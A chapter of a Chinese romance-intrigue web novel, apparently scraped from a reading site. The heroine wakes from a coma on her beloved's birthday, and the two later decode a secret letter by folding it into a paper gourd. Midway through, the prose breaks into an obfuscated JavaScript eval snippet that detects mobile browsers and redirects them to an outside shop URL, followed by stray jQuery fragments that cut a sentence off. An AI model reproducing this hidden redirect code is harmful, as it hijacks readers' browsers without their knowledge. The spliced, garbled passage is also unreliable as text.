75. 第 75 章

作品:《解忧小娘子

    铃儿缓缓抬手,久未动弹的身体略显乏力,只轻轻圈住容砚,嗓音带着些沙哑,低低响起在两人之间:


    “嗯,我醒过来了。”


    烛火清晰映照出两人的脸庞,他们就这样拥紧彼此,深情地对望着。


    眼前的容砚有着肉眼可见的清瘦与疲惫,那双泛着红的瑞凤眼,却因她的醒来而欣喜若狂,骤然间亮了起来。


    陆铃儿重伤初醒,本也是心生喜悦,可一见到容砚的模样,她便心疼了。


    她不知道自己究竟躺了多久,既然已经过了阿砚的生辰,那少说也有一个多月了。


    这一个多月,她都不敢想象阿砚有多难熬。


    想到自己曾答应过要每年陪他过一起生辰,陆铃儿心下难过不已,沙哑着嗓子继续开口:


    “对不起,我还是失言了,没能早点醒来,陪你过生辰。”


    她自听到容砚生辰之事后,脑子便痛得快要炸开,感觉就这样过了好久好久,如今他的生辰,怕是早就过去了吧。


    “你……都听到了?”


    “你说的每一个字我都能听到,只是一直无法醒来,让你担心了。”


    陆铃儿略带歉意地朝容砚眨了眨眼,容砚却是摇头,眸中的惊喜越来越甚。


    原来真的有效,他每日陪在她床头与她说的话,她真的都能听到。


    他轻轻拭干她眼角残留的泪水,扬起薄唇,笑意从唇边渗至眼角:


    “陆铃,你没有失言,现在是亥时,我的生辰还没有过。”


    陆铃儿闻言惊诧地睁大双眼,什么?原来竟还在同一天吗?


    容砚一眨不眨地盯着她略显迷糊的表情,轻叹着继续笑道:


    “我知你重诺,可惜我生辰来得太晚,不然你或许早就醒来了。”


    他有意将话说得轻松一些,不希望陆铃儿对他有任何负疚之感。


    她能在今日醒来已是万幸,此前再多的痛苦与煎熬,比起她的苏醒根本算不得什么。


    今日这个生辰,也算是过得惊心动魄,陪护多日终于见她有了动静,可却是一副疼痛难当、泪流不止的模样,那时真是吓坏了他。


    好在一切都已过去,他的陆铃,终于牵紧他的手留了下来。


    容砚的话语果然令陆铃儿卸下心疚,她终是有了些许笑意,环手将他圈得更紧,用记忆中同样的语气,在他耳边轻声说道:


    “既是生辰未过,那便祝你生辰快乐,平安顺遂。”


    容砚身躯一震,长眸闪过一抹不可置信:


    “陆铃,你的记忆……”


    “是的阿砚,我的记忆,那些与陆锦有关的过往,全都找回来了。”


    陆铃儿的笑容在扩大,眼底却现出一丝遗憾:


    “只可惜,今日无法再为你准备生辰礼了。”


    “你能醒来,便是我此生收到的,最好的生辰礼。”


    还有什么礼物,比见到陆铃儿安然无恙更好呢?


    一个温情的拥抱过后,容砚唤人为陆铃儿送来了清粥,同时还请来了栖云子。


    栖云子见陆铃儿醒来,也长长地舒了口气,既为陆铃儿,也为容砚这个徒儿。


    他细细给陆铃儿诊断了一番,这才捋了捋胡子,欣慰地笑道:


    “心头伤已大好,淤血也已清除,还顺带清了积在脑内十余年的陈血,甚好,甚好。”


    这一个多月,他留在解忧阁哪儿也没去,一直在为陆铃儿施针配药,今日总算是把她给救回来了。


    还有他这个徒儿,本就事务繁忙,还这么不眠不休地守在床边照顾,如今陆铃儿苏醒,他也终于可以歇一下了。


    “伤势虽好,身体却仍需调理,切不可掉以轻心。”


    栖云子又开了些调理的方子,留下一句好好休息,便打着呵欠离开了。


    “阿砚,我已无碍,你也去歇会儿吧。”


    容砚守了她一个多月,还要兼顾手上的事务,身体怎么吃得消,必须得去歇着了。


    但容砚却迟迟不愿离开,今晚太过美好,他怕这一切只是他的黄粱一梦,一朝梦醒,她又陷入了沉睡。


    “你刚苏醒,情况还不稳定,我再守一晚。”


    陆铃儿也知容砚不放心她,但这些时日,他的身体已经透支,不能再这样折腾了。


    她杏眼轻眨,似是想到了什么,脸颊泛起红润,低低开口道:


    “那阿砚与我一起吧。”


    容砚眼底微微一震,一股红潮爬上了耳根。


    一起?陆铃这是在邀他同眠?


    “你得好好休息,不能再熬了。”


    说完陆铃儿挪了挪身子,把床让出了半边。


    这些年她走南闯北,自诩江湖儿女,对一些繁文缛节并没有过多看重,再说她与容砚也曾相拥而眠过,她绝对信任于他。


    容砚狭长的双目深深望进陆铃儿的眼底,她眼中的坚定让他终是应了一声:


    “好。”


    两人同床而眠,刹那间又感觉回到了幻林定情的那一晚。


    身畔传来熟悉的铃兰淡香,那香气一丝一缕侵入鼻端,令容砚连呼吸也不稳起来。


    也不知几个呼吸过后,容砚长吸口气,侧过身来,一把将陆铃儿揉进怀里,在她额上印下一个轻吻。


    陆铃儿瞬间又红了脸庞,微微颤了一下身子,然后伸手环住了他的腰。


    两人侧身相拥,轻浅的吻一下一下轻落于彼此的脸颊唇边。


    考虑到陆铃儿刚刚苏醒,容砚吻得极为克制,每一下都万分顾惜,感觉到她的呼吸变得急促,他才不舍地停了下来。


    他紧紧拥着陆铃儿,直至两人的呼吸都平顺下来,这才缓缓闭上了眼。


    这一晚,是他得知陆铃儿出事以来,睡得最为踏实的一晚,可他怀中的陆铃儿,却久久难以入眠。


    她的视线落于容砚脸庞,看了他好久好久,她并未有多困,但容砚清瘦的模样,深深刺痛了她的心。


    她这次重伤久未醒来,多亏他每日为她喂饭喝药,一声声唤她醒来,他自己却久未休息,严重透支了身体。


    以后,她绝不会再令他这般难过了。


    第二天一早,容砚在晨光中率先醒来。


    他低头看向怀中,见陆铃儿还在他的怀里,他的心安下些许,接着又提了起来。


    陆铃儿还在睡着,她是昨夜睡下未醒,还是……一直未曾醒来?


    他小心翼翼地抚上她的脸,低声轻唤她:


    “陆铃……”


    陆铃儿便是在这一声轻唤中缓缓睁开了眼。


    她的目光还有些惺忪,看到眼前紧拥她入怀的容砚,直接给了他一个甜甜的微笑:


    “早安,阿砚。”


    陆铃儿的笑容令容砚全然安下心来,眸中绽放起笑意,在她眉间印上一吻,也道了声:


    “早安。”


    这场景让他们仿佛又回到了幻林的那个早晨,两人对视的双眼蕴着笑,在一片温情脉脉之中起了身。


    陆铃儿醒来的消息很快传开,解忧阁不少人都前来探望,尤其是与她最为交好的方侃四人。


    这一个多月,他们都密切关注着陆铃儿的状况,既为她的重伤不醒而焦急,又为阁主的不眠不休而担忧,每个人都默默祈祷着,唯愿陆铃儿能早日醒来。


    如今陆铃儿终于苏醒,他们怎能不来探望,只是考虑到陆铃儿大伤初愈,他们并未待上太久便先行告退。


    见前来探望之人悉数离开,容砚这才牵起陆铃儿的手问道:


    “想不想到庭院走走?”


    陆铃儿虽初醒不久,伤却是已然大好,简单在室外走走,呼吸一下新鲜空气,对她的康复也有帮处。


    想到在床上一躺就是一个多月,陆铃儿也不想一直待在室内了,她点点头:


    “想啊,我们这就走吧。”


    容砚为陆铃儿围好披风,两人携着手,一同漫步于解忧阁庭院之中。


    前些日子下了几场大雪,今日雪霁天晴,院内的梅花开得正艳。


    陆铃儿望着这片雪地红梅,心生出无限感慨,不过一个月的时间,世界已变换了新面貌。


    说是变了,其实也有很多东西没变,就像这雪地红梅,与他们童年时的,仿佛还是一般模样。


    正想着,容砚已折下一枝红梅,递直陆铃儿面前:


    “陆铃,愿一切有如此刻,雪霁、梅香、人圆。”


    他只愿朗朗乾坤清明如今日,阳光驱散风雪,美好得以珍存,爱人永伴身边。


    陆铃儿伸手接过梅花,抬起头笑意盈盈地回道:


    “此亦是我所愿,阿砚,不论如何,我都会与你一起,共创这雪霁、梅香、人圆。”


    她相信,这一天的到来,已经不远了。


    容砚紧了紧相扣的手指,扬唇轻道:


    “好,我们一起。”


    接下来的大半月,陆铃儿的身体逐渐康复。


    温葭得到消息,还专程前来解忧阁探望,陆铃儿在一片关爱之中,基本恢复到了受伤前的状态。


    如今她暂时无法出任务,便时常往长宁城跑,希望能找到解开密信的线索。


    她已经开始采用新的思路去解密,既然密信是卷起来的,没有折痕,那会不会解密之法与折痕有关呢?


    她也是近日转换思路时才想到,这种卷起的信纸,特别适合用折痕法加密,折痕交叉处指向的字,便是密信真正的内容。


    她用密信的临摹本试了很多种信纸的折法,可折痕指向的字总是不对,难道,这个思路方向还是错了?


    不行,她这才试了几种折法,还得再多试试才行。


    对了,这折法,应该还与闵宏达有着什么关联。


    想到此处,陆铃儿脑中似有什么东西一闪而过,待她回头再寻,却已经难觅踪影。


    在陆铃儿前去寻找解密线索之时,容砚也是调来最精锐的暗卫相随,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13102190|121347||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他绝不允许上次的事再次发生。


    闵宏达暗遣邢戮来偷袭的账,他已经在清算了,只是对方老奸巨猾,被他重伤元气还一副老神在在的模样,也不知道在盘算着什么。


    不止闵宏达,闵家一派最近都是如此,陆铃儿在长宁城转悠的时候,有一次远远看到了容玮,她是有意避开,容玮却也没有上前。


    据暗卫回报说,容玮当时直勾勾地盯着陆铃儿,终究还是拂衣而去,完全不像他之前的风格。


    闵家一派,到底在谋划着什么?


    就在陆铃儿为解密而头疼之际,新的一年到来了。


    爆竹声起,春节已至,解忧阁已有不少人回家过年,当然也有一些像陆铃儿这样把解忧阁当作自己家的,他们聚在一起,过了一个热闹年。


    容砚每日也会来解忧阁,既是处理事务,也是陪伴陆铃儿。


    转眼已是正月十五,容砚特地放下所有事务,与陆铃儿同看花灯。


    傍晚时分,华灯初上,长宁城大街上熙熙攘攘,热闹非凡。


    陆铃儿蓦然想起了七夕那日,街上也如现在一样人头攒动,只是那时她刚刚得知陆家的惨案,根本没有心情游玩。


    容砚同她一样,也想到了两人共度的那个七夕,他们还一起吃了馄饨,放了孔明灯。


    思及此处,容砚把目光投向了街边一处摊点,那里正好有卖孔明灯。


    此时天刚刚暗下,摊主点亮花灯,摊子被照得亮亮堂堂,货架上的孔明灯也因此很是显眼。


    不过这小摊并非专门卖灯,倒像个杂货铺,什么类型的东西都在卖,甚至还有年货。


    只见摊主一边取下白日里没能卖完的纸葫芦,一边吆喝道:


    “买花灯送年货纸葫芦喽!”


    这纸葫芦虽说是朔国之物,但因其色彩鲜艳看着喜庆,逢年过节也颇受宁国百姓喜欢,可惜这纸折的小物不能当灯点,反正成本也不高,不如当做花灯的赠品讨个好彩头。


    年货纸葫芦!


    陆铃儿只觉脑中有什么东西一下击中了她,直震得她头皮发麻。


    十年前为容砚庆生后路遇闵宏达的记忆瞬间冲入脑海,是了,当时闵宏达手里拿着的,不是别物,正是这个纸葫芦。


    先前她只疑惑闵宏达竟会亲自买年货,却不记得他到底买了什么,今日她终于记起来了,这其中的关键,也被她一下想通了。


    他当年哪是买什么年货,怕是早在那时,就开始与朔国暗传什么消息了吧。


    亏她还把纸葫芦揣了这么久,直到今日摊主的一声年货纸葫芦,才一语惊醒梦中人。


    “怎么了陆铃?”


    容砚见陆铃儿面色有异,语气中暗含了几分担忧。


    陆铃儿卡白着脸,急急道:


    “阿砚,抱歉今日不能再逛了,我想通了一事,需得尽快回去验证。”


    陆铃儿转身欲走,容砚却一把拉住了她:


    “去靖王府。”


    回解忧阁还得去江边乘船,相比之下,去靖王府会快上许多。


    “好。”


    陆铃儿当即同意,与容砚一道,匆匆回了靖王府。


    一到进墨苑主屋,她便立刻转手翻出密信,也顾不得用临摹本了,直接在密信上动手折了起来。


    事关密信,容砚亦知此事有多重要,他曾未多言,只眼神紧盯陆铃儿手上的动作。


    不一会儿,陆铃儿便将密信折成了一个圆鼓鼓的纸葫芦,只是刚一折成,她又立刻将其拆开。


    当纸张再度平展,陆铃儿顺着折痕的交叉处一个一个找出对应的字后,顿时有如被雷劈中,震惊得心都快跳出来了。


    她与容砚对视一眼,两人皆从对方眼中看到了不可置信。


    万没想到,密信里藏着的,竟是这样的惊天阴谋!


    陆铃儿此刻才终于明白,陆家为何会惹来杀身之祸了,将这样的秘密握于手中,对方怎么可能不起杀心。


    闵宏达之阴狠,远超她的想象。


    “阿砚,我们……接下来该怎么办?”


    容砚眸中震惊仍在,但已很快镇定下来:


    “照目前的情况来看,他们怕是在两国会盟上有大动作,幸好现在离会盟还有月余,一切都还来得及。”


    他深深地看向陆铃儿的眼眸,轻叹一声道:


    “陆铃,我也有一个不亚于此的秘密,本来从未打算揭开,既然密信如此,看来终需昭告天下了,今日,我便说与你听。”


    他的事从来不想隐瞒陆铃儿,此前的两个身份是陆铃儿自己猜到的,他一直没有机会开口,这一次,他会主动将秘密告诉她,接下来他们将会一起,去打一场硬仗。


    容砚在陆铃儿惊诧的眼神中,将自己最后的秘密和盘托出,接着,便立即开始准备对策。


    在紧锣密鼓的筹谋之中,一封密报悄然送到了安国。


    开春便是两国会盟,希望一切,都还来得及。